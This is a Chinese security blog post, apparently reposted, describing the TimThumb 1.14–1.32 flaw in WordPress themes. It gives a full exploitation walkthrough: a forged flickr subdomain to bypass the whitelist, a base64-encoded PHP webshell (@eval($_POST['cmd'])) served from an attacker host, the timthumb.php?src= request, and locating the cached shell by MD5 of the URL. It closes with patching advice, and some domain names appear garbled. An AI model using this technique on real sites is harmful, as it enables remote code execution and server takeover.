HdhCmsTest2cto测试数据:不是新文章了,但是站里没有,发出来供大家参考
首先这个洞已经出来非常久了,应该是8月份就出来了,但是补的人不多。所以危害还是比较大的! Timthumb插件干嘛的也就不多说了,就是用于生成缩略图的作用,做主题的人应该都知道。 而使用Timthumb生成的图片会自动存放在指定的缓存目录里面,如loper1.2主题中的Timthumb生成的缩略图文件会存放在主题目录下的cache文件夹里面 本来Timthumb插件是只允许处理当前域名下图片,也就是说如果是外部提交文件是不会进行处理的,如下图,我想把HdhCmsTestdd测试数据域名下1.php这个文件交给HdhCmsTestcc测试数据域名下的Timthumb插件来处理,他会显示错误 但是在Timthumb的作者为了使用者更方便的使用,所以内置了一些知名网站域名的白名单,如Flickr、Picasa等著名图片分享网站,也就是说,使用白名单内的网站来提交,也是可以让Timthumb进行处理的。但在这里恰恰Timthumb插件对白名单域名过滤的不严格,所以导致攻击者可以伪造如]flickr测试数据.dd测试数据]这样的3级域名来绕过Timthumb的过滤 而Timthumb默认是不会判断提交过去的文件类型的,所以可以直接提交php文件,这样也就是俗称的Getshell了!
此 漏洞 影响的Timthumb版本为1.14 – 1.32,从上面的错误信息也可以发现,LOPER1.2中的Timthumb是1.19版本的,所以存在此漏洞! 所以就国内wp圈子来说,危害最大莫过于使用loper1.2版本主题的,以及早前的虾子酱那个木纹主题。 因为以前一直没注意过这个洞,直到前天遇到了才简单的测试了下,发现利用不难,下面就掩饰下具体的利用方法,首先创建一个flickr测试数据.site测试数据的3级域名,这里我就以flickr测试数据.rices.so来做演示,至于怎么创建也就不多说,dnspod,dnsever等都可以直接创建~~
然后随便找个空间将这个域名绑定上,最后在跟目录上传一个需要getshell的php文件。。到这里我简单的提下 网上所说的利用方法有一个很大的误区,说什么放php文件的空间必须要不支持php解析,也就是访问php文件直接弹出 下载 这样的空间才能成功利用,其实完全可以不用这么麻烦。因为Timthumb是读取这个php执行后的代码,所以我们直接echo一个一句话就行了,代码如下
PHP
echo base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=");
执行后会输出一句话 @eval($_POST['cmd']);
下面还是以LOPER1.2的Timthumb为例,直接 浏览器 访问 [wp-content/themes/loper1.2/timthumb.php?src=http://flickr测试数据.rices.so/1.php] 虽然提示了Invalid src mime type,但是实际上已经把我们的php一句话下载到了cache文件夹内 当然,在实际利用中我们是不可能知道下载下来的PHP用户名的,但是要获取到用户名很简单,其实文件名就是文件地址的 MD5 值,比如这里文件地址是http://flickr测试数据.rices.so/1.php,那么我们就将这个地址进行MD5 加密 , 图上已经画的很清楚了吧,这里也就不多说了,但是Timthumb2.0以上版本的命名规则会有所不同,但是这也不在这篇文章讨论范围之内了,因为影响的版本只有1.14 – 1.32! 到这里也可以发现利用并不难,危害也很大,所以该修复的修复,该升级的升级吧,loper1.3版也发出来了的,还在用1.2的童鞋最好下载覆盖 摘自 Rice's Blog
查看更多关于Timthumb缩略图插件漏洞简介与演示 - 网站安全 -的详细内容...